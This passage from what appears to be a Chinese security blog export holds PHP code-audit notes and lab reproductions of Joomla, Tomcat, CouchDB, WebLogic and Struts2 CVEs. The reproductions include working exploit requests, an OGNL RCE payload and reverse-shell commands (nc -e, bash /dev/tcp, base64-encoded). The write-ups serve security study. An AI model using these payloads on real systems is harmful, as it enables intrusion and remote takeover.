有处理:寻找遗漏的处理点(如忘记处理的地方或者处理不太正确的地方) 完全没有处理:可以挖成筛子(很少) 3.找到了漏洞点,漏洞利用是否有坑 根源:理解程序执行过程,找寻危险逻辑特点: 高效:如挖隧道,双向开工,时间减半(不需要去完全理解网站内部原理和函数作用) 知识面广:需要同时掌握正向,反向挖掘技巧,并进行结合 以及所有正向,反向的优点 SQL注入漏洞挖掘技巧PHP+mysql链接方式有:mysql(废弃,但老的仍然有)mysqliPDO sql注入常见过滤方法intval: 把用户输入的数字后面的所有不是数字的都过滤掉addslashes: 把 ‘ 前加\\转义掉mysql_real_escape: 和第二个类似,但会考虑用户输入和mysql的编码,避免像宽字节注入问题 mysqli_escape_string / mysqli_real_escape_string / mysqli::escape_string (和mysqli搭配使用,和前面的功能类似)和他们的差别是会主动加引号包裹 PDO: quote 参数化查询 常见注入过滤绕过方法intval:不知道addslashes / mysql_real_escape 1.宽字节注入 2.数字型sql语句 3.寻找字符串转换函数(传入编码好的字符绕过过滤,在后面被转换成sql语句) urldecode base64_decode iconv json_decode stripshasles simple_xml_loadstring例如:传入id被过滤但后面有一处代码是解码base64,所以我们可以传入 ‘ 的base64编码绕过 1234567<?php$id = addslashes($_GET['id']);....$id = base64_decode($id);....$sql = "select * from flag where id = '$id'"; ?> mysqli::escape_string // PDO::quote 1.宽字节注入参数化查询 1.寻找非sql值的位置 开发者容易遗漏得输入点 HTTP头 a. X-Forwarded-For b. User-Agent c. Referer PHP_SELF(访问的页面url名,但用户可控) REQUEST_URI(用户请求得完整路径) 文件名 $_FILES[][name] php://input (post穿进去得内容) 引入单引号(转义符)的方法(’号被过滤,看后面有没有可以引入的地方) stripslashes base64_decode urldecode substr iconv str_replace(‘0’,’’,$sql) xml json_encode 任意文件操作PHP上传的文件会被保存在$_FILES下 PHP文件操作函数汇总 文件包含 include / require / include_once / require_once / spl_autoload 文件读取 file_get_contents / fread / readfile / file / highlight_file / show_source 文件写入 file_put_contents / fwrite / mkdir / fputs 文件删除 unlink / rmdir 文件上传 move_uploaded_file / copy / rename 文件上传漏洞文件上传流程: 检查文件大小,后缀,类型 检查文件内容(如文件头,尾等) 提取文件后缀 生成新文件名 将上传临时文件拷贝到新文件名位置 文件上传逻辑常见错误 只检查文件类型不检查文件后缀 文件后缀黑名单有遗漏 使用原始文件名,导致\\0截断(一般没有了) 前端检验 文件包含漏洞首先明确一点,文件包含漏洞不等于文件读取漏洞 危害:文件读取 / 代码执行常见位置:模板文件名(切换模板) 语言文件名(切换语言)常见利用: 要寻找可被包含利用的文件:上传文件,临时文件,Session文件,日志文件 后缀无法控制的情况:\\0截断,协议利用 PHP5.3.4+ 对包含\\0的文件操作函数进行了限制,基本上没有了 案例Metinfo 5.3.10版本Getshell漏洞可控制的部分:include $file . ‘.php’;http协议利用:http://xxxx.com/1.php (远程文件包含,一般不开设置不能用)PHP协议利用:zip/phar 制作2.php的压缩包 -> 2.zip -> 改后缀为 -> 2.jpg 在服务器中上传2.jpg文件 再利用:zip://var/www/upload/head/2.jpg#2.php (#意思是访问zip内部的子文件->2.php) 文件删除漏洞危害: 删除服务器任意文件,DOS服务器 删除安装锁文件,导致目标环境可被重新安装 重新安装 -》任意重置管理员密码 案例上传新头像会把老头像自动删除,但可以把删除老图像的地址换成别的造成任意文件删除 命令执行命令执行指的是执行系统命令 (ls)https://explainshell.com/可以在这个网站查询复杂命令的意思代码执行指的是PHP的代码执行本质:用户输入无过滤,拼接到了系统命令中PHP命令执行函数: system passthru exec shell_exec popen (常见的就是上面这5种) proc_open pcntl_exec dl 要像命令执行很难,要先学会如何正确防御命令注入,才能分辨出哪些没有正确处理 防御PHP命令注入漏洞:PHP中只能使用escapeshellcmd和escapeshellatg进行命令参数的过滤 先区分这2个函数: escapeshellcmd escapeshellatg escapeshellatg没问题但escapeshellatg是只能限制逃逸不出单引号’但有些命令的不常用参数是可以任意命令执行 要把用户的输入放在值里 如果把输入直接是键值对可能会造成漏洞 1grep {$query} 有一些命令的不常用参数可能会导致一些意外发生。直接使用 | 等命令跳出前面的命令实现命令执行 修复: 12grep -i {$query}grep -- {$query} XML实体注入漏洞PHP XML解析函数 simplexml_load_file simplexml_load_string SimpleXMLElement DOMDocument xml_parse如果发现有这几个函数的地方,基本上可以确定百分之80有xml实体注入 libxml_disable_entity_loader(true)来禁用掉外部实体的加载,就不存在xml实体注入 PHP中XXE漏洞逐渐减少,到现在的版本里几乎已经绝迹了,因为PHP XML操作依赖libxml库但在libxml2.9.0+默认是关闭了xml外部实体解析开关的,可以顺势挖一下也比较简单 方法:暴力搜索就行,查看有没有xml解析函数,再看禁没禁止外部加载 无输出点的xxe漏洞:有时候可能存在xxe漏洞但并不会在页面中显示,要利用到blind-xxeBlind XXE原理: 利用XML外部实体功能读取文件 利用XML外部实体功能发送HTTP请求 利用HTTP协议传递文件内容 前端漏洞建议代码审计不去主要找这种漏洞,进行黑盒测试就能挖到的漏洞,在代码审计过程中没必要太注重 百盒测试中可以关注前端漏洞类型: XSS漏洞 CSRF漏洞 Jsonp劫持漏洞(前面三个关注多) URL跳转漏洞(不多) 点击劫持漏洞(不多) xss在白盒测试中寻找XSS漏洞:常见防护方法: htmlspecialchars()把用户输入转义成html实体字符(这时候是绝对没有xss的) strip_tags() 从字符中去除HTML和PHP标记 自动化FUZZ -》寻找输出函数(危险函数)富文本XSS挖掘 什么是富文本:本质就是html,网站给你一个有很多功能的输入框 为什么出现富文本xss: 前面2种防护方法要么就是转义掉要么就是直接去除掉,但在一些写文章,或者发帖的需要提交html富文本,如果使用前面的方法那么提交的就不是富文本了,会影响业务。常见富文本过滤方法: 会使用富文本的xss过滤器:把用户输入的恶意标签,属性去掉 黑名单(很难过滤掉该过滤的标签属性) 白名单 CSRF在白盒测试中寻找CSRF漏洞: 检查Referer(来自于当前域名,可信域名,才会执行) (可以看正则匹配全面吗,比如正则匹配xxx.nte后缀的域名,那么可以注册个cxxx.nte域名绕过) 检查Token (寻找跨域漏洞,要去跨域请求某一个网站内容的时候需要先去请求这个网站有没有crossdomain.xml, 要根据这里面配置的信息来认证是否允许用户去发送一个跨站的请求) Flash Jsonp CORS 黑盒测试就可以找到这三个 Jsonp劫持漏洞在白盒测试中寻找Jsonp劫持漏洞:Jsonp介绍:Jsonp是 json 的一种”使用模式” 可以让网页从别的域名(网站)那获取资料,即跨域读取数据;它利用的是script标签的 src 属性不受同源策略影响的特性,使网页可以得到从其他来源动态产生的 json 数据,因此可以用来实现跨域读取数据。更通俗的说法:JSONP 就是利用 标签的跨域能力实现跨域数据的访问,请求动态生成的 JavaScript 脚本同时带一个 callback 函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用 callback 函数。 原理:当网站通过 JSONP 方式传递用户敏感信息时,攻击者可以伪造 JSONP 调用页面,诱导被攻击者访问来 达到窃取用户信息的目的;jsonp 数据劫持就是攻击者获取了本应该传给网站其他接口的数据。 和 CSRF 类似,都需要用户交互,而 CSRF 主要是以用户的账户进行增删改的操作,jsonp 则主要用来劫持数据。 Jsonp借此漏洞常见位置: web框架默认支持ajax + jsonp方式请求 程序员主动开发需要支持jsonp的应用Jsonp劫持防御: Referer检查 Toke 反序列化漏洞几乎所有语言都有序列化功能,java,php,python都有相关漏洞反序列化分类: 反序列化触发执行任意代码 -》python (python的反序列化其实是一门真正的语言,是可以直接进行执行代码的) 反序列化后,通过已有代码利用链,间接执行任意代码 -》 PHP/java PHP反序列化注意函数: serialize(序列化函数) unserialize(反序列化函数)PHP反序列化特点: 引入除资源型外任意类型变量 无法引入函数 -》不能直接执行代码 迂回战术 寻找程序中可能存在的漏洞的类 实例化类对象 -》 触发漏洞 漏洞挖掘过程: 寻找调用反序列化函数的位置 寻找包含危险方法的类 反序列化上下文是否包含该类 包含:直接生成该类,触发漏洞 不包含:寻找引用链怎么利用链,怎么构造利用语句,还有phar反序列化等有很多后面再写如果只是要找反序列化漏洞,那么找unserialize就够了 小技巧篇代码审计明白了原理,明白了各种漏洞的修复方式,之后想要提高就要仰仗自己积累的一些小技巧因为你会发现遇到的大部分有漏洞的代码前面都存在一些过滤,检查;如果你知道一些技巧后会发现很多过滤,检查都是可以绕过的 web开发框架下的PHP漏洞LaravelsymfonyslimphpYii2特点: 所需PHP版本较高,\\0截断等老漏洞绝迹 提供功能强大的ORM(即使想写出一个sql漏洞都难) 提供自动处理输出的模板引擎(想写出前端漏洞都难了,因为自带一些转义,实体化功能) 开发者可以通过composer找到任何需要的功能类,避免因为自己造轮子产生的漏洞现代web开发框架安全思想 Secure by default 原则 文档中,会详细叙述可能出现的安全问题挖掘思路 寻找框架本身的安全漏洞 寻找不规范的开发方式 寻找错误的配置(debug模式,日志记录等) 异常的利用(如果开启了debug或者会输出异常,可以构造异常抛出敏感信息,新的框架特有的漏洞老的几乎没有)第三方服务利用 spl_autoload的利用 压缩包问题web应用执行了解压缩操作黑客利用压缩包的一些特性,构造\"畸形\"压缩包解压缩时将造成漏洞 压缩炸弹惯用的方式 绕过文件检查失败后的删除操作 阻止压缩时的文件检查 绕过压缩时的文件检查 链接文件的利用绕过文件检查失败后的删除操作: 案例:上传压缩包后,后端处理只能删除文件无法删除目录,导致shell 阻止压缩时的文件检查 案例:压缩包解压失败,程序抛出错误并停止运行 -》 webshell保留 压缩包三个文件,一个正常图片,一个webshell,第三个文件压缩存在错误绕过压缩时的文件检查 案例:使用../解压到上层目录,;构造一个文件名为:../../webshell.php,会让后端解压到上层目录 而删除文件一般是在当前目录递归删除非法文件,不可能在根目录递归链接文件的利用 后端解压后未判断文件类型,导致可以上传软链接文件,该软连接导致任意文件读取 压缩包是允许压缩软连接文件,也运行解压软连接文件;但文件上传传不了 条件竞争漏洞条件竞争:web服务器都是多线程的,同时运行多人访问网站,理论是互相不影响的,但是php,Apache,Nginx只能保证php是不互相影响的,不能保证文件或者数据库链接是不互相影响的 条件竞争漏洞挖掘方向: 上传后删除的利用 忘记上锁的数据库 鸡肋文件包含的妙用上传后删除的利用: 上传压缩包后解压递归删除非法文件,但在这个过程中开启多个线程去访问解压出来的webshell,并在上层目录写入新的webshell;打一个时间差,在还没删除时利用,把webshell解压出来后面还有其他文件发现一个文件上传的逻辑是在上传了后再删除,基本上就确定存在条件竞争漏洞 没上锁的数据库案例:商场漏洞: 1.查询用户余额 2.查询购买商品的价格 3.判断用户余额>商品价格 4.用户余额=用户余额 - 价格 如果第三步和第四步是单独的步骤,如果用多个线程去请求同时走到了第三步,判断都可以购买 购买完后同时走到第四步后同时减去价格,就会导致余额变负 -》成功购买多个商品 临时文件包含利用 文件包含漏洞需要找到一个能够包含的恶意文件,但网站没有能够上传文件的地方,也没有找到任何可以控制的文件 寻找临时文件泄露点,文件上传的时候,用户会发送一个数据包给服务器,服务器会将数据包里的文件保存到当前的临时目录下,变成 临时文件,文件名随机,内容可以控制,phpinfo可以获取文件名 我们可以上传一个非常大的文件,需要10秒上传完成,临时文件上传完成后是会被删除的,再开多个线程去包含该文件,生成一个新的webshell 一些容易犯错的点header('404') 会给用户返回一个页面,但并不会阻止php解释器继续往下运行 正则:应该要写判断只有的,错误写成包含有,那么就有漏洞 12345if(!preg_match('/Ghost|Know/i', $cmd)){ exit("错误");}cmd = union select 1,2,3 # Ghostcmd = ls / | ban 它会查询传入的语句其实有DESC就绕过了但和DESC一块的有我们的其他命令 尝试审计代码admin 后台管理目录install 网站的安装目录api 接口文件目录data 系统处理数据相关目录include 用来包含的全局文件template 模板css CSS样式表目录images 系统图片存放目录system 管理目录函数集文件: 这类文件通常命名中包含functions或者common等关键字,这些文件里面是一些公共的函数,提供给其他文件统一调用,所以大多数文件都会在文件头部包含到它们,寻找这些文件一个非常好用的技巧就是去打开index.php或者一些功能性文件,在头部一般都能找到。配置文件:这类文件通常命名里面包括config这个关键字,配置文件包括Web程序运行必须的功能性配置选项以及数据库等配置信息,从这个文件里面可以了解程序的小部分功能,另外看这个文件的时候注意观察配置文件中参数值是用单引号还是用的双引号包起来,如果是双引号,则很大可能会存在代码执行漏洞。https://github.com/source-trace/bluecms根据流程填完信息后又空白了,但没问题已经安装好了,访问index.php页面就好使用Seay工具自动扫描一下 先看第一个试试可以看到先是包含了一个common.inc.php的文件,其次如果有ad_id参数那么会经过trim函数的处理再sql语句拼接时是没有单引号包裹的,可能存在问题去看看包含的php文件。粗略的观察一下发现有对于$_GET进行处理if(!get_magic_quotes_gpc()),查看下函数意思:始终返回false就是一直是true,都会经过这个if语句里的处理;if语句的处理追踪一下deep_addslashes看看就是经过了addslashes的处理,再前面学习过这个函数就是对于单引号双引号反斜线和nul进行转义,但我们sql语句并没有被''单引号包裹,这个过滤对于要审计的sql语句没有用;希望+1看完包含的函数后在看一下trim函数有没有问题基本上就确定有没有sql注入了么有定位到这个函数,查下官方手册发现是用来去除字符串首尾处的空白字符(或者其他字符)\\t \\n \\r \\0 \\x0B但只是去除首位的,语句中间的并不会,所以没影响;好理论确定存在注入了,实践开始没有过滤扫描sql语句或者字母数字什么的,所以直接使用order查看下字段数可以看到查到8时报错并有返回说明确实存在注入,使用联合注入试下它是无回显的,可能要使用到时间盲注了,但在查看到网页源代码时发现是有回显的,位数在7,在尝试查下表,嗯看来什么都可以查到没有单引号,尝试下xss注入;也是存在的","categories":[{"name":"PHP","slug":"PHP","permalink":"http://example.com/categories/PHP/"}],"tags":[{"name":"PHP代码审计","slug":"PHP代码审计","permalink":"http://example.com/tags/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"}]},{"title":"Joomla 未授权访问漏洞POC CVE-2023-23752","slug":"Joomla-未授权访问漏洞POC-CVE-2023-23752","date":"2023-04-02T13:03:46.000Z","updated":"2023-04-02T13:13:21.711Z","comments":true,"path":"2023/04/02/Joomla-未授权访问漏洞POC-CVE-2023-23752/","link":"","permalink":"http://example.com/2023/04/02/Joomla-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9EPOC-CVE-2023-23752/","excerpt":"","text":"前言Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。 2月16日,Joomla官方发布安全公告,修复了Joomla! CMS中的一个未授权访问漏洞(CVE-2023-23752),目前该漏洞的细节及PoC/EXP已公开。 Joomla! CMS 版本4.0.0 - 4.2.7中由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码等)。 影响版本Joomla! CMS 版本4.0.0 - 4.2.7 pocPOC获取:https://github.com/GhostToKnow/CVE-2023-23752 自己写了个poc测试了下,1k条数据40s左右扫描完毕,结果正确率在90%以上 linux: ![image-20230309135227943](C:\\Users\\dong\\Desktop\\Books\\CVE\\Joomla CVE-2023-23752\\Snipaste_2023-04-02_21-05-21.png) win: ![image-20230309135344844](C:\\Users\\dong\\Desktop\\Books\\CVE\\Joomla CVE-2023-23752\\Snipaste_2023-04-02_21-05-41.png) ![image-20230309135128326](C:\\Users\\dong\\Desktop\\Books\\CVE\\Joomla CVE-2023-23752\\Snipaste_2023-04-02_21-05-58.png) 修复建议目前该漏洞已经修复,受影响用户可及时升级到Joomla! CMS 版本4.2.8。","categories":[{"name":"POC","slug":"POC","permalink":"http://example.com/categories/POC/"}],"tags":[{"name":"Joomla","slug":"Joomla","permalink":"http://example.com/tags/Joomla/"}]},{"title":"Tomcat 幽灵猫任意文件读取漏洞复现 CVE-2020-1938","slug":"Tomcat-幽灵猫任意文件读取漏洞复现-CVE-2020-1938","date":"2023-04-02T12:53:03.000Z","updated":"2023-04-02T12:55:44.218Z","comments":true,"path":"2023/04/02/Tomcat-幽灵猫任意文件读取漏洞复现-CVE-2020-1938/","link":"","permalink":"http://example.com/2023/04/02/Tomcat-%E5%B9%BD%E7%81%B5%E7%8C%AB%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-CVE-2020-1938/","excerpt":"","text":"Tomcat 任意文件读取漏洞复现 CVE-2020-1938漏洞介绍1231. Java是目前Web开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。2. CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。3. 这个漏洞影响全版本默认配置下的 Tomcat(在我们发现此漏洞的时候,确认其影响 Tomcat 9/8/7/6 全版本,而年代过于久远的更早的版本未进行验证),这意味着它在 Tomcat 里已经潜伏了长达十多年的时间。 影响版本 Apache Tomcat = 6 7 <= Apache Tomcat < 7.0.100 8 <= Apache Tomcat < 8.5.51 9 <= Apache Tomcat < 9.0.31 漏洞复现创建文件夹 1mkdir tomcat-ghostcat 进入创建好的文件夹 1cd tomcat-ghostcat 拉取靶场启动脚本 1wget repo.vulab.io/tomcat/CVE-2020-1938/1.0.1 -O tomcat-ghostcat 启动漏洞docker容器 1sudo docker-compose -f tomcat-ghostcat up 在本机访问192.168.52.130访问开启的web服务,这里我配置了hosts 可以看到CVE-2020-1938已经成功载入,使用namp扫描一下端口 1sudo nmap -v -sS -p1-9000 -Pn -T4 -A 192.168.52.130 --script http-methods --script-args Gecko/20100101 Firefox/87.0" 发现服务器开启了8009端口,ajp协议端口就是8009端口,可能存在ajp协议,使用xray工具扫描下端口 1xray_windows_386.exe servicescan --target 192.168.52.130:8009 爆出了存在幽灵猫漏洞的CVE-2022-1938漏洞,使用相关poc测试发现成功拉取到文件 漏洞修复更新tomcat版本,将tomcat升级到9.0.31、8.5.51或者7.0.100版本 禁止使用AJP协议 配置secret和secretRequired来设置AJP协议的认证凭证 参考xray 1https://www.chaitin.cn/en/ghostcat#download CNVD-2020-10487-Tomcat-Ajp-lfi 1https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"}],"tags":[{"name":"Tomcat","slug":"Tomcat","permalink":"http://example.com/tags/Tomcat/"}]},{"title":"CouchDB 垂直权限绕过任意命令执行漏洞复现 CVE-2017-12635/6","slug":"CouchDB-垂直权限绕过任意命令执行漏洞复现-CVE-2017-12635-6","date":"2023-04-02T12:34:42.000Z","updated":"2023-04-02T12:43:57.381Z","comments":true,"path":"2023/04/02/CouchDB-垂直权限绕过任意命令执行漏洞复现-CVE-2017-12635-6/","link":"","permalink":"http://example.com/2023/04/02/CouchDB-%E5%9E%82%E7%9B%B4%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-CVE-2017-12635-6/","excerpt":"","text":"前言CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。 CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。 影响版本: 小于 1.7.0 以及小于 2.1.1 漏洞复现环境搭建使用Vulhub的漏洞平台进行复现 docker-compose up -d 访问http://192.168.52.128:5984/_utils/#login出现如下页面搭建成功 测试过程CVE-2017-12635构造创建账户的PUT包 123456789101112131415PUT /_users/org.couchdb.user:GhostToKnow HTTP/1.1Host: www.0-sec.org:5984Accept: /Accept-Language: enUser-Agent: Connection: closeContent-Type: application/jsonContent-Length: 104 { "type": "user", "name": "GhostToKnow", "roles": ["_admin"], "password": "GhostToKnow" } 我们没有admin权限,所以报错forbidden显示只有管理员才能设置Role角色。 绕过role验证:发送包含两个roles的数据包,即可绕过限制 在原先的包中加入 “roles”:[], 12345678910111213141516PUT /_users/org.couchdb.user:GhostToKnow HTTP/1.1Host: www.0-sec.org:5984Accept: /Accept-Language: enUser-Agent: Connection: closeContent-Type: application/jsonContent-Length: 104 { "type": "user", "name": "GhostToKnow", "roles": ["_admin"], "roles": [], "password": "GhostToKnow" } 返回”ok”:true即成功创建用户 尝试使用GhostToKnow/GhostToKnow登录: 成功登录,且为管理员账户 CVE-2017-12636该漏洞利用条件需要登录管理员用户触发,可使用上面介绍的CVE-2017-12635搭配利用 由于Couchdb 2.x和和1.x的的API接口有所差别,导致利用方式也不同,这里直接拿刚刚复现的CVE-2017-12635环境,演示2.x版本 Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name,带上账号密码访问/_membership获取node名称: 其中GhostToKnow:GhostToKnow为管理员的账户密码 curl http://GhostToKnow:[email protected]:5984/_membership 这里只有一个node,为:nonode@nohost 修改nonode@nohost的配置,其中id >/tmp/success是要执行的命令,可以更换为弹shell 1curl -X PUT http://GhostToKnow:[email protected]:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"' 请求添加一个名为ccc的Database,以便在里面执行查询 curl -X PUT 'http://GhostToKnow:[email protected]:5984/ccc' 请求添加一个名为test的Document,以便在里面执行查询 curl -X PUT 'http://GhostToKnow:[email protected]:5984/ccc/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' Couchdb 2.x删除了_temp_view,所以我们为了触发query_servers中定义的命令,需要添加一个_view: curl -X PUT http://GhostToKnow:[email protected]:5984/ccc/_design/test -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json" 增加_view的同时即触发了query_servers中的命令。 看到返回错误信息没有关系,报错来源于执行命令之后的流程 加入靶机的docker查看发现命令执行成功,成功写入success文件 1.6.0系列 curl -X PUT 'http://GhostToKnow:[email protected]:5984/_config/query_servers/cmd' -d '"id >/tmp/success"' curl -X PUT 'http://GhostToKnow:[email protected]:5984/ccc' curl -X PUT 'http://GhostToKnow:[email protected]:5984/ccc/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' curl -X POST 'http://GhostToKnow:[email protected]:5984/ccc/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json' exp要替换对应的网址,端口,监听ip,对应版本,1.x和2.x的payload不一致。 python3 exp.py","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"}],"tags":[{"name":"CouchDB","slug":"CouchDB","permalink":"http://example.com/tags/CouchDB/"}]},{"title":"Weblogic CVE-2020-2551","slug":"Weblogic-CVE-2020-2551","date":"2023-04-02T12:10:38.000Z","updated":"2023-04-02T13:14:33.688Z","comments":true,"path":"2023/04/02/Weblogic-CVE-2020-2551/","link":"","permalink":"http://example.com/2023/04/02/Weblogic-CVE-2020-2551/","excerpt":"","text":"前言2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。 经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。 环境搭建直接使用vulhub中的CVE-2017-10271就可以 使用git克隆到本地 1git clone https://github.com/vulhub/vulhub.git 进入对应环境 1cd vulhub/weblogic/CVE-2017-10271 启动docker漏洞环境 1sudo docker-compose up -d 搭建完成以后,访问7001/console如下图所示即为搭建成功 检测是否存在漏洞python3 CVE-2020-2551.py -u http://192.168.52.128:7001/ 发现存在漏洞 漏洞利用攻击机ip:192.168.0.101 靶机ip:192.168.52.128 攻击机开启监听nc -lvnp 3333 编写一个exp.java文件: 12345678910111213import java.io.IOException;public class exp { static{ try { java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","nc -e /bin/bash 192.168.0.101 3333"}); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { }} 其中”nc -e /bin/bash 192.168.52.130 3333”是要执行的命令 然后进行编译,生成出一个exp.class文件 启一个web服务,需要与exp.class在同一文件夹 使用marshalsec起一个恶意的RMI服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.101/#exp" 1099 然后开始进行攻击,使用命令,成功弹出shell: 1java -jar weblogic_CVE_2020_2551.jar 192.168.52.128 7001 rmi://192.168.0.101:1099/exp","categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"}],"tags":[{"name":"Weblogic","slug":"Weblogic","permalink":"http://example.com/tags/Weblogic/"}]},{"title":"Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现","slug":"Struts2-S2-061-远程命令执行漏洞(CVE-2020-17530)复现","date":"2023-03-29T13:21:36.000Z","updated":"2023-03-29T13:32:08.442Z","comments":true,"path":"2023/03/29/Struts2-S2-061-远程命令执行漏洞(CVE-2020-17530)复现/","link":"","permalink":"http://example.com/2023/03/29/Struts2-S2-061-%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-17530%EF%BC%89%E5%A4%8D%E7%8E%B0/","excerpt":"","text":"前言Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大,S2-061是对S2-059漏洞修复后的绕过。 影响版本: Apache Struts 2.0.0 - 2.5.25 环境搭建这里使用vulhub漏洞环境搭建 使用git克隆到本地 git clone https://github.com/vulhub/vulhub.git 进入对应环境 cd vulhub/struts2/s2-061 启动docker漏洞环境 sudo docker-compose up -d 访问对应地址,出现如下页面,环境搭建成功 复现过程实现判断下是否存在漏洞,使用?id=%25{7*7}查看返回id的值是7*7还是49,如果是47那么就说明进行了二次表达式解析,存在改漏洞 这里id为49说明存在该漏洞。抓包修改为以下,这里的#arglist.add("xx")函数这里包含的值是你要执行的命令 123456789101112131415161718POST /.action HTTP/1.1Host: 192.168.52.128:8080User-Agent: xxxAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=node0i3sptalo62q6kw46qu49oxwn1.node0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 833------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF-- 已经可以执行我们的命令了,接下来反弹shell 在vps上监听3333端口:nc -lvnp 3333 编写反弹shell代码 bash -i >& /dev/tcp/192.168.52.130/3333 0>&1 反弹shell涉及到管道符问题要将命令进行base64编码 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEzMC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i} 成功反弹出shell 检查POC 1234567891011121314151617181920212223242526272829303132333435import requestsimport argparseimport osdef url(): parser = argparse.ArgumentParser(description='S2-061 CVE-2020-17530') parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.52.128:8080') args = parser.parse_args() global url url = args.target_url if url.startswith('http://') or url.startswith('https://'): pass else: print('请使用http://或者https://') os._exit(0) if url.endswith('/'): url = url[:-1] print("开始测试") return urldef poc(): headers={ 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100102 Firefox/107.0' } vul_url = url + '/?id=%25{7*7}' try: text = requests.get(vul_url,headers=headers,timeout=10).text if '49' in text: print('[漏洞存在]') else: print('[漏洞不存在]') except: print('[发生错误]')if __name__ == '__main__': url() poc() 修复建议升级到 Struts 2.5.26 